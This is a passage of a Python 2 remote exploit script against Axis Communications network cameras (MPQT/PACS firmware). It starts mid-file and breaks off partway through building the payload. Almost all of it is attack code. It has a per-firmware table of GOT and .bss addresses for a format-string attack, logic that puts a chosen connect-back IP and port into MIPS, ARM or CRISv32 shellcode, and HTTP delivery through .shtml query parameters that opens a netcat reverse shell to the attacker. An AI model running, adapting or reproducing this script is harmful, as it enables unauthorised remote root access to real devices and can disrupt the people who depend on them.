CRISv32\r\n elif self.target == 'NCSH1':\r\n return NCSH\r\n elif self.target == 'NCSH2':\r\n return NCSH\r\n else:\r\n print \"[!] Unknown shellcode! (%s)\" % str(self.target)\r\n sys.exit(1)\r\n \r\n \r\nclass FMSdb:\r\n \r\n def __init__(self,targetIP,verbose):\r\n self.targetIP = targetIP\r\n self.verbose = verbose\r\n \r\n def FMSkey(self,target):\r\n self.target = target\r\n \r\n target_db = {\r\n \r\n#-----------------------------------------------------------------------\r\n# All pointing from free() GOT to shellcode on .bss (Except ARM with NCSH)\r\n#-----------------------------------------------------------------------\r\n \r\n#\r\n# Using POP format string, AKA 'Old Style'\r\n#\r\n # MPQT\r\n 'MIPS-5.85.x': [\r\n 0x41f370, # Adjust to GOT free() address\r\n 0x420900, # .bss shellcode address\r\n 2, # 1st POP's\r\n 2, # 2nd POP's\r\n 'axi', # Aligns injected code\r\n 700, # How big buffer before shellcode\r\n 'MIPSel' # Shellcode type\r\n ],\r\n \r\n # MPQT\r\n 'MIPS-5.40.3': [\r\n 0x41e41c, # Adjust to GOT free() address\r\n 0x4208cc, # .bss shellcode address\r\n 7, # 1st POP's\r\n 11, # 2nd POP's\r\n 'ax', # Aligns injected code\r\n 450, # How big buffer before shellcode\r\n 'MIPSel' # Shellcode type\r\n ],\r\n \r\n # MPQT\r\n 'MIPS-5.4x': [ \r\n 0x41e4cc, # Adjust to GOT free() address\r\n 0x42097c, # .bss shellcode address\r\n 7, # 1st POP's\r\n 11, # 2nd POP's\r\n 'ax', # Aligns injected code\r\n 450, # How big buffer before shellcode\r\n 'MIPSel' # Shellcode type\r\n ],\r\n \r\n # MPQT\r\n 'MIPS-5.5x': [\r\n 0x41d11c, # Adjust to GOT free() address\r\n 0x41f728, # .bss shellcode address\r\n 5, # 1st POP's\r\n 15, # 2nd POP's\r\n 'axis', # Aligns injected code\r\n 700, # How big buffer before shellcode\r\n 'MIPSel' # Shellcode type\r\n ],\r\n \r\n # MPQT\r\n 'MIPS-5.55x': [ \r\n 0x41d11c, # Adjust to GOT free() address\r\n 0x41f728, # .bss shellcode address\r\n 11, # 1st POP's\r\n 9, # 2nd POP's\r\n 'axis', # Aligns injected code\r\n 700, # How big buffer before shellcode\r\n 'MIPSel' # Shellcode type\r\n ],\r\n \r\n # Shared with MPQT and PACS\r\n 'MIPS-5.6x': [ \r\n 0x41d048, # Adjust to GOT free() address\r\n 0x41f728, # .bss shellcode address\r\n 5, # 1st POP's\r\n 15, # 2nd POP's\r\n 'axis', # Aligns injected code\r\n 700, # How big buffer before shellcode\r\n 'MIPSel' # Shellcode type\r\n \r\n ],\r\n \r\n # MPQT\r\n 'MIPS-5.7x': [ \r\n 0x41d04c, # Adjust to GOT free() address\r\n 0x41f718, # .bss shellcode address\r\n 2, # 1st POP's\r\n 14, # 2nd POP's\r\n 'axis', # Aligns injected code\r\n 700, # How big buffer before shellcode\r\n 'MIPSel' # Shellcode type\r\n ],\r\n \r\n # MPQT\r\n 'MIPS-5.75x': [\r\n 0x41c498, # Adjust to GOT free() address\r\n 0x41daf0, # .bss shellcode address\r\n 3, # 1st POP's\r\n 13, # 2nd POP's\r\n 'axi', # Aligns injected code\r\n 700, # How big buffer before shellcode\r\n 'MIPSel' # Shellcode type\r\n ],\r\n \r\n # Shared with MPQT and PACS\r\n 'MIPS-5.8x': [\r\n 0x41d0c0, # Adjust to GOT free() address\r\n 0x41e740, # .bss shellcode address\r\n 3, # 1st POP's\r\n 13, # 2nd POP's\r\n 'axi', # Aligns injected code\r\n 700, # How big buffer before shellcode\r\n 'MIPSel' # Shellcode type\r\n ],\r\n \r\n # MPQT\r\n 'MIPS-5.9x': [ \r\n 0x41d0c0, # Adjust to GOT free() address\r\n 0x41e750, # .bss shellcode address\r\n 3, # 1st POP's\r\n 13, # 2nd POP's\r\n 'axi', # Aligns injected code\r\n 700, # How big buffer before shellcode\r\n 'MIPSel' # Shellcode type\r\n ],\r\n \r\n # MPQT\r\n 'MIPS-6.1x': [\r\n 0x41c480, # Adjust to GOT free() address\r\n 0x41dac0, # .bss shellcode address\r\n 3, # 1st POP's\r\n 13, # 2nd POP's\r\n 'axi', # Aligns injected code\r\n 700, # How big buffer before shellcode\r\n 'MIPSel' # Shellcode type\r\n ],\r\n \r\n # MPQT\r\n 'MIPS-6.2x': [\r\n 0x41e578, # Adjust to GOT free() address\r\n 0x41fae0, # .bss shellcode address\r\n 2, # 1st POP's\r\n 2, # 2nd POP's\r\n 'axi', # Aligns injected code\r\n 700, # How big buffer before shellcode\r\n 'MIPSel' # Shellcode type\r\n ],\r\n \r\n # MPQT\r\n 'MIPS-6.20x': [\r\n 0x41d0c4, # Adjust to GOT free() address\r\n 0x41e700, # .bss shellcode address\r\n 3, # 1st POP's\r\n 13, # 2nd POP's\r\n 'axi', # Aligns injected code\r\n 700, # How big buffer before shellcode\r\n 'MIPSel' # Shellcode type\r\n ],\r\n \r\n # PACS\r\n 'MIPS-1.3x': [\r\n 0x41e4cc, # Adjust to GOT free() address\r\n 0x420a78, # .bss shellcode address\r\n 7, # 1st POP's\r\n 11, # 2nd POP's\r\n 'axis', # Aligns injected code\r\n 700, # How big buffer before shellcode\r\n 'MIPSel' # Shellcode type\r\n ],\r\n \r\n # PACS\r\n 'MIPS-1.1x': [\r\n 0x41e268, # Adjust to GOT free() address\r\n 0x420818, # .bss shellcode address\r\n 7, # 1st POP's\r\n 11, # 2nd POP's\r\n 'axis', # Aligns injected code\r\n 700, # How big buffer before shellcode\r\n 'MIPSel' # Shellcode type\r\n ],\r\n \r\n#\r\n# Tested with execstack to set executable stack flag bit on bin's and lib's\r\n#\r\n# These two 'Old Style' are not used in the exploit, but kept here as reference as they has been confirmed working.\r\n#\r\n \r\n # ARMel with bin/libs executable stack flag set with 'execstack'\r\n # MPQT\r\n 'ARM-5.50x': [ # \r\n 0x1c1b4, # Adjust to GOT free() address\r\n 0x1e7c8, # .bss shellcode address\r\n 93, # 1st POP's\r\n 1, # 2nd POP's\r\n 'axis', # Aligns injected code\r\n 700, # How big buffer before shellcode\r\n 'ARMel' # Shellcode type (ARMel)\r\n ],\r\n \r\n # ARMel with bin/libs executable stack flag set with 'execstack'\r\n # MPQT\r\n 'ARM-5.55x': [ # \r\n 0x1c15c, # Adjust to GOT free() address\r\n 0x1e834, # .bss shellcode address\r\n 59, # 1st POP's\r\n 80, # 2nd POP's\r\n 'axis', # Aligns injected code\r\n 800, # How big buffer before shellcode\r\n 'ARMel' # Shellcode type (ARMel)\r\n ],\r\n \r\n#\r\n# Using direct parameter access format string, AKA 'New Style'\r\n#\r\n # MPQT\r\n 'ARM-NCSH-5.20x': [ # AXIS P1311 5.20 (id=root)\r\n 0x1c1b4, # Adjust to GOT free() address\r\n 0x10178, # Adjust to \"/bin/sh -c; pipe(); vfork(); execve()\"\r\n 61, # 1st POP's\r\n 115, # 2nd POP's\r\n 143, # 3rd POP's\r\n 118, # 4th POP's\r\n 'NCSH2' # Shellcode type (Netcat Shell)\r\n ],\r\n \r\n # MPQT\r\n 'ARM-NCSH-5.2x': [ # \r\n 0x1c1b4, # Adjust to GOT free() address\r\n 0x1013c, # Adjust to \"/bin/sh -c; pipe(); vfork(); execve()\"\r\n 61, # 1st POP's\r\n 115, # 2nd POP's\r\n 143, # 3rd POP's\r\n 118, # 4th POP's\r\n 'NCSH2' # Shellcode type (Netcat Shell)\r\n ],\r\n \r\n # MPQT\r\n 'ARM-NCSH-5.4x': [ # \r\n 0x1c1b4, # Adjust to GOT free() address\r\n 0x101fc, # Adjust to \"/bin/sh -c; pipe(); vfork(); execve()\"\r\n 61, # 1st POP's\r\n 115, # 2nd POP's\r\n 143, # 3rd POP's\r\n 118, # 4th POP's\r\n 'NCSH2' # Shellcode type (Netcat Shell)\r\n ],\r\n#\r\n# Using POP format string, AKA 'Old Style'\r\n#\r\n \r\n # MPQT\r\n 'ARM-NCSH-5.5x': [ # \r\n 0x1c15c, # Adjust to GOT free() address\r\n 0xfdcc, # Adjust to \"/bin/sh -c; pipe(); vfork(); execve()\"\r\n 97, # 1st POP's\r\n 0, # 2nd POP's\r\n 41, # 3rd POP's\r\n 0, # 4th POP's\r\n 'NCSH1' # Shellcode type (Netcat Shell)\r\n ],\r\n \r\n # MPQT\r\n 'ARM-NCSH-5.6x': [ # \r\n 0x1c15c, # Adjust to GOT free() address\r\n 0xfcec, # Adjust to \"/bin/sh -c; pipe(); vfork(); execve()\"\r\n 97, # 1st POP's\r\n 0, # 2nd POP's\r\n 41, # 3rd POP's\r\n 0, # 4th POP's\r\n 'NCSH1' # Shellcode type (Netcat Shell)\r\n ],\r\n \r\n # MPQT\r\n 'ARM-NCSH-5.7x': [ # \r\n 0x1c1c0, # Adjust to GOT free() address\r\n 0xf800, # Adjust to \"/bin/sh -c; pipe(); vfork(); execve()\"\r\n 132, # 1st POP's\r\n 0, # 2nd POP's\r\n 34, # 3rd POP's\r\n 0, # 4th POP's\r\n 'NCSH1' # Shellcode type (Netcat Shell)\r\n ],\r\n \r\n # Will go in endless loop after exit of nc shell... DoS sux\r\n # MPQT\r\n 'ARM-NCSH-5.8x': [ # \r\n 0x1b39c, # Adjust to GOT free() address\r\n 0xf8c0, # Adjust to \"/bin/sh -c; pipe(); vfork(); execve()\"\r\n 98, # 1st POP's\r\n 0, # 2nd POP's\r\n 34, # 3rd POP's\r\n 1, # 4th POP's\r\n 'NCSH1' # Shellcode type (Netcat Shell)\r\n ],\r\n \r\n # MPQT\r\n 'ARM-NCSH-6.1x': [ # \r\n 0x1d2a4, # Adjust to GOT free() address\r\n# 0xecc4, # Adjust to \"/bin/sh -c; pipe(); vfork(); execve()\"\r\n 0xecc8, # Adjust to \"/bin/sh -c; pipe(); vfork(); execve()\"\r\n 106, # 1st POP's\r\n 0, # 2nd POP's\r\n 34, # 3rd POP's\r\n 1, # 4th POP's\r\n 'NCSH1' # Shellcode type (Netcat Shell)\r\n ],\r\n#\r\n# Using POP format string, AKA 'Old Style'\r\n#\r\n \r\n # MPQT\r\n 'CRISv32-5.5x': [ # \r\n 0x8d148, # Adjust to GOT free() address\r\n 0x8f5a8, # .bss shellcode address\r\n 4, # 1st POP's\r\n 13, # 2nd POP's\r\n 'axis', # Aligns injected code\r\n 470, # How big buffer before shellcode\r\n 'CRISv32' # Shellcode type (Crisv32)\r\n ],\r\n \r\n # MPQT\r\n 'CRISv32-5.4x': [ # \r\n 0x8d0e0, # Adjust to GOT free() address\r\n 0x8f542, # .bss shellcode address\r\n 4, # 1st POP's\r\n 13, # 2nd POP's\r\n 'axis', # Aligns injected code\r\n 470, # How big buffer before shellcode\r\n 'CRISv32' # Shellcode type (Crisv32)\r\n ],\r\n \r\n # MPQT\r\n 'CRISv32-5.2x': [ # \r\n 0x8d0b4, # Adjust to GOT free() address\r\n 0x8f4d6, # .bss shellcode address\r\n 4, # 1st POP's\r\n 13, # 2nd POP's\r\n 'axis', # Aligns injected code\r\n 470, # How big buffer before shellcode\r\n 'CRISv32' # Shellcode type (Crisv32)\r\n ],\r\n \r\n # MPQT\r\n 'CRISv32-5.20.0': [ # \r\n 0x8d0e4, # Adjust to GOT free() address\r\n 0x8f546, # .bss shellcode address\r\n 4, # 1st POP's\r\n 13, # 2nd POP's\r\n 'axis', # Aligns injected code\r\n 470, # How big buffer before shellcode\r\n 'CRISv32' # Shellcode type (Crisv32)\r\n ]\r\n \r\n \r\n }\r\n \r\n if self.target == 0:\r\n return target_db\r\n \r\n if not self.target in target_db:\r\n print \"[!] Unknown FMS key: %s!\" % self.target\r\n sys.exit(1)\r\n \r\n if self.verbose:\r\n print \"[Verbose] Number of availible FMS keys:\",len(target_db)\r\n \r\n return target_db\r\n \r\n \r\n#\r\n# Validate correctness of HOST, IP and PORT\r\n#\r\nclass Validate:\r\n \r\n def __init__(self,verbose):\r\n self.verbose = verbose\r\n \r\n # Check if IP is valid\r\n def CheckIP(self,IP):\r\n self.IP = IP\r\n \r\n ip = self.IP.split('.')\r\n if len(ip) != 4:\r\n return False\r\n for tmp in ip:\r\n if not tmp.isdigit():\r\n return False\r\n i = int(tmp)\r\n if i < 0 or i > 255:\r\n return False\r\n return True\r\n \r\n # Check if PORT is valid\r\n def Port(self,PORT):\r\n self.PORT = PORT\r\n \r\n if int(self.PORT) < 1 or int(self.PORT) > 65535:\r\n return False\r\n else:\r\n return True\r\n \r\n # Check if HOST is valid\r\n def Host(self,HOST):\r\n self.HOST = HOST\r\n \r\n try:\r\n # Check valid IP\r\n socket.inet_aton(self.HOST) # Will generate exeption if we try with FQDN or invalid IP\r\n # Or we check again if it is correct typed IP\r\n if self.CheckIP(self.HOST):\r\n return self.HOST\r\n else:\r\n return False\r\n except socket.error as e:\r\n # Else check valid DNS name, and use the IP address\r\n try:\r\n self.HOST = socket.gethostbyname(self.HOST)\r\n return self.HOST\r\n except socket.error as e:\r\n return False\r\n \r\n \r\n \r\nif __name__ == '__main__':\r\n \r\n#\r\n# Help, info and pre-defined values\r\n# \r\n INFO = '[Axis Communications MPQT/PACS remote exploit 2016 bashis <mcw noemail eu>]'\r\n HTTP = \"http\"\r\n HTTPS = \"https\"\r\n proto = HTTP\r\n verbose = False\r\n noexploit = False\r\n lhost = '192.168.0.1' # Default Local HOST\r\n lport = '31337' # Default Local PORT\r\n rhost = '192.168.0.90' # Default Remote HOST\r\n rport = '80' # Default Remote PORT\r\n # Not needed for the SSI exploit, here for possible future usage.\r\n# creds = 'root:pass'\r\n creds = False\r\n \r\n#\r\n# Try to parse all arguments\r\n#\r\n try:\r\n arg_parser = argparse.ArgumentParser(\r\n# prog=sys.argv[0],\r\n prog='axis-ssid-PoC.py',\r\n description=('[*]' + INFO + '\\n'))\r\n arg_parser.add_argument('--rhost', required=False, help='Remote Target Address (IP/FQDN) [Default: '+ rhost +']')\r\n arg_parser.add_argument('--rport', required=False, help='Remote Target HTTP/HTTPS Port [Default: '+ rport +']')\r\n arg_parser.add_argument('--lhost', required=False, help='Connect Back Address (IP/FQDN) [Default: '+ lhost +']')\r\n arg_parser.add_argument('--lport', required=False, help='Connect Back Port [Default: '+ lport + ']')\r\n arg_parser.add_argument('--fms', required=False, help='Manual FMS key')\r\n if creds:\r\n arg_parser.add_argument('--auth', required=False, help='Basic Authentication [Default: '+ creds + ']')\r\n arg_parser.add_argument('--https', required=False, default=False, action='store_true', help='Use HTTPS for remote connection [Default: HTTP]')\r\n arg_parser.add_argument('-v','--verbose', required=False, default=False, action='store_true', help='Verbose mode [Default: False]')\r\n arg_parser.add_argument('--noexploit', required=False, default=False, action='store_true', help='Simple testmode; With --verbose testing all code without exploiting [Default: False]')\r\n arg_parser.add_argument('--dict', required=False, default=False, action='store_true', help='Print FMS keys and stats from dictionary, additional details with --verbose')\r\n args = arg_parser.parse_args()\r\n except Exception as e:\r\n print INFO,\"\\nError: %s\\n\" % str(e)\r\n sys.exit(1)\r\n \r\n # We want at least one argument, so print out help\r\n if len(sys.argv) == 1:\r\n arg_parser.parse_args(['-h'])\r\n \r\n print \"\\n[*]\",INFO\r\n \r\n if args.verbose:\r\n verbose = args.verbose\r\n \r\n # Print out info from dictionary\r\n if args.dict:\r\n target = FMSdb(rhost,verbose).FMSkey(0)\r\n print \"[db] Number of FMS keys:\",len(target)\r\n \r\n # Print out detailed info from dictionary\r\n if verbose:\r\n \r\n print \"[db] Target details of FMS Keys availible for manual xploiting\"\r\n print \"\\n[FMS Key]\\t[GOT Address]\\t[BinSh Address]\\t[POP1]\\t[POP2]\\t[POP3]\\t[POP4]\\t[Shellcode]\"\r\n \r\n for tmp in range(0,len(target)):\r\n Key = sorted(target.keys())[tmp]\r\n temp = re.split('[-]',Key)[0:10]\r\n \r\n if temp[1] == 'NCSH':\r\n print Key,'\\t','0x{:08x}'.format(target[Key][0]),'\\t','0x{:08x}'.format(target[Key][1]),'\\t',target[Key][2],'\\t',target[Key][3],'\\t',target[Key][4],'\\t',target[Key][5],'\\t',target[Key][6]\r\n \r\n print \"\\n[FMS Key]\\t[GOT Address]\\t[BSS Address]\\t[POP1]\\t[POP2]\\t[Align]\\t[Buf]\\t[Shellcode]\"\r\n for tmp in range(0,len(target)):\r\n Key = sorted(target.keys())[tmp]\r\n temp = re.split('[-]',Key)[0:10]\r\n \r\n if temp[1] != 'NCSH':\r\n print Key,'\\t','0x{:08x}'.format(target[Key][0]),'\\t','0x{:08x}'.format(target[Key][1]),'\\t',target[Key][2],'\\t',target[Key][3],'\\t',len(target[Key][4]),'\\t',target[Key][5],'\\t',target[Key][6]\r\n \r\n print \"\\n\"\r\n else:\r\n print \"[db] Target FMS Keys availible for manual xploiting instead of using auto mode:\"\r\n Key = \"\"\r\n for tmp in range(0,len(target)):\r\n Key += sorted(target.keys())[tmp]\r\n Key += ', '\r\n print '\\n',Key,'\\n'\r\n sys.exit(0)\r\n \r\n#\r\n# Check validity, update if needed, of provided options\r\n#\r\n if args.https:\r\n proto = HTTPS\r\n if not args.rport:\r\n rport = '443'\r\n \r\n if creds and args.auth:\r\n creds = args.auth\r\n \r\n if args.noexploit:\r\n noexploit = args.noexploit\r\n \r\n if args.rport:\r\n rport = args.rport\r\n \r\n if args.rhost:\r\n rhost = args.rhost\r\n \r\n if args.lport:\r\n lport = args.lport\r\n \r\n if args.lhost:\r\n lhost = args.lhost\r\n \r\n # Check if LPORT is valid\r\n if not Validate(verbose).Port(lport):\r\n print \"[!] Invalid LPORT - Choose between 1 and 65535\"\r\n sys.exit(1)\r\n \r\n # Check if RPORT is valid\r\n if not Validate(verbose).Port(rport):\r\n print \"[!] Invalid RPORT - Choose between 1 and 65535\"\r\n sys.exit(1)\r\n \r\n # Check if LHOST is valid IP or FQDN, get IP back\r\n lhost = Validate(verbose).Host(lhost)\r\n if not lhost:\r\n print \"[!] Invalid LHOST\"\r\n sys.exit(1)\r\n \r\n # Check if RHOST is valid IP or FQDN, get IP back\r\n rhost = Validate(verbose).Host(rhost)\r\n if not rhost:\r\n print \"[!] Invalid RHOST\"\r\n sys.exit(1)\r\n \r\n \r\n#\r\n# Validation done, start print out stuff to the user\r\n#\r\n if noexploit:\r\n print \"[i] Test mode selected, no exploiting...\"\r\n if args.https:\r\n print \"[i] HTTPS / SSL Mode Selected\"\r\n print \"[i] Remote target IP:\",rhost\r\n print \"[i] Remote target PORT:\",rport\r\n print \"[i] Connect back IP:\",lhost\r\n print \"[i] Connect back PORT:\",lport\r\n \r\n rhost = rhost + ':' + rport\r\n \r\n#\r\n# FMS key is required into this PoC\r\n#\r\n if not args.fms:\r\n print \"[!] FMS key is required!\"\r\n sys.exit(1)\r\n else:\r\n Key = args.fms\r\n print \"[i] Trying with FMS key:\",Key\r\n \r\n#\r\n# Prepare exploiting\r\n#\r\n # Look up the FMS key in dictionary and return pointer for FMS details to use\r\n target = FMSdb(rhost,verbose).FMSkey(Key)\r\n \r\n if target[Key][6] == 'NCSH1':\r\n NCSH1 = target[Key][6]\r\n NCSH2 = \"\"\r\n elif target[Key][6] == 'NCSH2':\r\n NCSH2 = target[Key][6]\r\n NCSH1 = \"\"\r\n else:\r\n NCSH1 = \"\"\r\n NCSH2 = \"\"\r\n \r\n if Key == 'ARM-NCSH-5.8x':\r\n print \"\\nExploit working, but will end up in endless loop after exiting remote NCSH\\nDoS sux, so I'm exiting before that shit....\\n\\n\"\r\n sys.exit(0)\r\n \r\n print \"[i] Preparing shellcode:\",str(target[Key][6])\r\n \r\n # We don't use url encoded shellcode with Netcat shell\r\n # This is for MIPS/CRISv32 and ARM shellcode\r\n if not NCSH1 and not NCSH2:\r\n FMSdata = target[Key][4] # This entry aligns the injected shellcode\r\n \r\n # Building up the url encoded shellcode for sending to the target,\r\n # and replacing LHOST / LPORT in shellcode to choosen values\r\n \r\n # part of first 500 decoded bytes will be overwritten during stage #2, and since\r\n # there is different 'tailing' on the request internally, keep it little more than needed, to be safe.\r\n # Let it be 0x00, just for fun.\r\n FMSdata += '%00' * target[Key][5]\r\n \r\n # Connect back IP to url encoded\r\n ip_hex = '%{:02x} %{:02x} %{:02x} %{:02x}'.format(*map(int, lhost.split('.')))\r\n ip_hex = ip_hex.split()\r\n IP1=ip_hex[0];IP2=ip_hex[1];IP3=ip_hex[2];IP4=ip_hex[3];\r\n \r\n # Let's break apart the hex code of LPORT into two bytes\r\n port_hex = hex(int(lport))[2:]\r\n port_hex = port_hex.zfill(len(port_hex) + len(port_hex) % 2)\r\n port_hex = ' '.join(port_hex[i: i+2] for i in range(0, len(port_hex), 2))\r\n port_hex = port_hex.split()\r\n \r\n if (target[Key][6]) == 'MIPSel':\r\n # Connect back PORT\r\n if len(port_hex) == 1:\r\n PP1 = \"%ff\"\r\n PP0 = '%{:02x}'.format((int(port_hex[0],16)-1))\r\n elif len(port_hex) == 2:\r\n # Little Endian\r\n PP1 = '%{:02x}'.format((int(port_hex[0],16)-1))\r\n PP0 = '%{:02x}'.format(int(port_hex[1],16))\r\n elif (target[Key][6]) == 'ARMel': # Could be combinded with CRISv32\r\n # Connect back PORT\r\n if len(port_hex) == 1:\r\n PP1 = \"%00\"\r\n PP0 = '%{:02x}'.format(int(port_hex[0],16))\r\n elif len(port_hex) == 2:\r\n # Little Endian\r\n PP1 = '%{:02x}'.format(int(port_hex[0],16))\r\n PP0 = '%{:02x}'.format(int(port_hex[1],16))\r\n elif (target[Key][6]) == 'CRISv32':\r\n # Connect back PORT\r\n if len(port_hex) == 1:\r\n PP1 = \"%00\"\r\n PP0 = '%{:02x}'.format(int(port_hex[0],16))\r\n elif len(port_hex) == 2:\r\n # Little Endian\r\n PP1 = '%{:02x}'.format(int(port_hex[0],16))\r\n PP0 = '%{:02x}'.format(int(port_hex[1],16))\r\n else:\r\n print \"[!] Unknown shellcode! (%s)\" % str(target[Key][6])\r\n sys.exit(1)\r\n \r\n # Replace LHOST / LPORT in URL encoded shellcode\r\n shell = shellcode_db(rhost,verbose).sc(target[Key][6])\r\n shell = shell.replace(\"IP1\",IP1)\r\n shell = shell.replace(\"IP2\",IP2)\r\n shell = shell.replace(\"IP3\",IP3)\r\n shell = shell.replace(\"IP4\",IP4)\r\n shell = shell.replace(\"PP0\",PP0)\r\n shell = shell.replace(\"PP1\",PP1)\r\n FMSdata += shell\r\n \r\n#\r\n# Calculate the FMS values to be used\r\n#\r\n # Get pre-defined values\r\n ALREADY_WRITTEN = 40 # Already 'written' in the daemon before our FMS\r\n# POP_SIZE = 8\r\n POP_SIZE = 1\r\n \r\n GOThex = target[Key][0]\r\n BSShex = target[Key][1]\r\n GOTint = int(GOThex)\r\n \r\n # 'One-Write-Where-And-What'\r\n if not NCSH1 and not NCSH2:\r\n \r\n POP1 = target[Key][2]\r\n POP2 = target[Key][3]\r\n \r\n # Calculate for creating the FMS code\r\n ALREADY_WRITTEN = ALREADY_WRITTEN + (POP1 * POP_SIZE)\r\n GOTint = (GOTint - ALREADY_WRITTEN)\r\n \r\n ALREADY_WRITTEN = ALREADY_WRITTEN + (POP2 * POP_SIZE)\r\n \r\n BSSint = int(BSShex)\r\n BSSint = (BSSint - GOTint - ALREADY_WRITTEN)\r\n \r\n# if verbose:\r\n# print \"[Verbose] Calculated GOTint:\",GOTint,\"Calculated BSSint:\",BSSint\r\n \r\n # 'Two-Write-Where-And-What' using \"New Style\"\r\n elif NCSH2:\r\n \r\n POP1 = target[Key][2]\r\n POP2 = target[Key][3]\r\n POP3 = target[Key][4]\r\n POP4 = target[Key][5]\r\n POP2_SIZE = 2\r\n \r\n # We need to count higher than provided address for the jump\r\n BaseAddr = 0x10000 + BSShex\r\n \r\n # Calculate for creating the FMS code\r\n GOTint = (GOTint - ALREADY_WRITTEN)\r\n \r\n ALREADY_WRITTEN = ALREADY_WRITTEN + GOTint\r\n \r\n # Calculate FirstWhat value\r\n FirstWhat = BaseAddr - (ALREADY_WRITTEN)\r\n \r\n ALREADY_WRITTEN = ALREADY_WRITTEN + FirstWhat\r\n \r\n # Calculate SecondWhat value, so it always is 0x20300\r\n SecondWhat = 0x20300 - (ALREADY_WRITTEN + POP2_SIZE)\r\n \r\n shell = shellcode_db(rhost,verbose).sc(target[Key][6])\r\n shell = shell.replace(\"LHOST\",lhost)\r\n shell = shell.replace(\"LPORT\",lport)\r\n \r\n FirstWhat = FirstWhat - len(shell)\r\n \r\n# if verbose:\r\n# print \"[Verbose] Calculated GOTint:\",GOTint,\"Calculated FirstWhat:\",FirstWhat,\"Calculated SecondWhat:\",SecondWhat\r\n \r\n \r\n # 'Two-Write-Where-And-What' using \"Old Style\"\r\n elif NCSH1:\r\n \r\n POP1 = target[Key][2]\r\n POP2 = target[Key][3]\r\n POP3 = target[Key][4]\r\n POP4 = target[Key][5]\r\n POP2_SIZE = 2\r\n \r\n # FirstWhat writes with 4 bytes (Y) (0x0002YYYY)\r\n # SecondWhat writes with 1 byte (Z) (0x00ZZYYYY)\r\n if BSShex > 0x10000:\r\n MSB = 1\r\n else:\r\n MSB = 0\r\n \r\n # We need to count higher than provided address for the jump\r\n BaseAddr = 0x10000 + BSShex\r\n \r\n # Calculate for creating the FMS code\r\n ALREADY_WRITTEN = ALREADY_WRITTEN + (POP1 * POP_SIZE)\r\n \r\n GOTint = (GOTint - ALREADY_WRITTEN)\r\n \r\n ALREADY_WRITTEN = ALREADY_WRITTEN + GOTint + POP2_SIZE + (POP3 * POP_SIZE)\r\n \r\n # Calculate FirstWhat value\r\n FirstWhat = BaseAddr - (ALREADY_WRITTEN)\r\n \r\n ALREADY_WRITTEN = ALREADY_WRITTEN + FirstWhat + (POP4 * POP_SIZE)\r\n \r\n # Calculate SecondWhat value, so it always is 0x203[00] or [01]\r\n SecondWhat = 0x20300 - (ALREADY_WRITTEN) + MSB\r\n \r\n shell = shellcode_db(rhost,verbose).sc(target[Key][6])\r\n shell = shell.replace(\"LHOST\",lhost)\r\n shell = shell.replace(\"LPORT\",lport)\r\n \r\n GOTint = GOTint - len(shell)\r\n \r\n# if verbose:\r\n# print \"[Verbose] Calculated GOTint:\",GOTint,\"Calculated FirstWhat:\",FirstWhat,\"Calculated SecondWhat:\",SecondWhat\r\n \r\n else:\r\n print \"[!] NCSH missing, exiting\"\r\n sys.exit(1)\r\n#\r\n# Let's start the exploiting procedure\r\n#\r\n \r\n#\r\n# Stage one\r\n#\r\n if NCSH1 or NCSH2:\r\n \r\n # \"New Style\" needs to make the exploit in two stages\r\n if NCSH2:\r\n FMScode = do_FMS(rhost,verbose)\r\n # Writing 'FirstWhere' and 'SecondWhere'\r\n # 1st request\r\n FMScode.AddADDR(GOTint) # Run up to free() GOT address\r\n #\r\n # 1st and 2nd \"Write-Where\"\r\n FMScode.AddDirectParameterN(POP1) # Write 1st Where\r\n FMScode.Add(\"XX\") # Jump up two bytes for next address\r\n FMScode.AddDirectParameterN(POP2) # Write 2nd Where\r\n FMSdata = FMScode.FMSbuild()\r\n else:\r\n FMSdata = \"\"\r\n \r\n print \"[>] StG_1: Preparing netcat connect back shell to address:\",'0x{:08x}'.format(BSShex),\"(%d bytes)\" % (len(FMSdata))\r\n else:\r\n print \"[>] StG_1: Sending and decoding shellcode to address:\",'0x{:08x}'.format(BSShex),\"(%d bytes)\" % (len(FMSdata))\r\n \r\n # Inject our encoded shellcode to be decoded in MIPS/CRISv32/ARM\r\n # Actually, any valid and public readable .shtml file will work...\r\n # (One of the two below seems always to be usable)\r\n #\r\n # For NCSH1 shell, we only check if the remote file are readable, for usage in Stage two\r\n # For NCSH2, 1st and 2nd (Write-Where) FMS comes here, and calculations start after '=' in the url\r\n #\r\n try:\r\n target_url = \"/httpDisabled.shtml?user_agent=\"\r\n if noexploit:\r\n target_url2 = target_url\r\n else:\r\n target_url2 = \"/httpDisabled.shtml?&http_user=\"\r\n \r\n if NCSH2:\r\n html = HTTPconnect(rhost,proto,verbose,creds,noexploit).RAW(target_url2 + FMSdata) # Netcat shell\r\n else:\r\n html = HTTPconnect(rhost,proto,verbose,creds,noexploit).Send(target_url + FMSdata)\r\n except urllib2.HTTPError as e:\r\n if e.code == 404:\r\n print \"[<] Error\",e.code,e.reason\r\n target_url = \"/view/viewer_index.shtml?user_agent=\"\r\n if noexploit:\r\n target_url2 = target_url\r\n else:\r\n target_url2 = \"/view/viewer_index.shtml?&http_user=\"\r\n print \"[>] Using alternative target shtml\"\r\n if NCSH2:\r\n html = HTTPconnect(rhost,proto,verbose,creds,noexploit).RAW(target_url2 + FMSdata) # Netcat shell\r\n else:\r\n html = HTTPconnect(rhost,proto,verbose,creds,noexploit).Send(target_url + FMSdata)\r\n except Exception as e:\r\n if not NCSH2:\r\n print \"[!] Shellcode delivery failed:\",str(e)\r\n sys.exit(1)\r\n#\r\n# Stage two\r\n#\r\n \r\n#\r\n# Building and sending the FMS code to the target\r\n#\r\n print \"[i] Building the FMS code...\"\r\n \r\n FMScode = do_FMS(rhost,verbose)\r\n \r\n # This is an 'One-Write-Where-And-What' for FMS\r\n #\r\n # Stack Example:\r\n #\r\n # Stack content | Stack address (ASLR)\r\n #\r\n # 0x0 | @0x7e818dbc -> [POP1's]\r\n # 0x0 | @0x7e818dc0 -> [free () GOT address]\r\n # 0x7e818dd0 | @0x7e818dc4>>>>>+ \"Write-Where\" (%n)\r\n # 0x76f41fb8 | @0x7e818dc8 | -> [POP2's]\r\n # 0x76f3d70c | @0x7e818dcc | -> [BSS shell code address]\r\n # 0x76f55ab8 | @0x7e818dd0<<<<<+ \"Write-What\" (%n)\r\n # 0x1 | @0x7e818dd4\r\n #\r\n if not NCSH1 and not NCSH2:\r\n FMScode.AddPOP(POP1) # 1st serie of 'Old Style' POP's \r\n FMScode.AddADDR(GOTint) # GOT Address\r\n FMScode.AddWRITEn(1) # 4 bytes Write-Where\r\n# FMScode.AddWRITElln(1) # Easier to locate while debugging as this will write double word 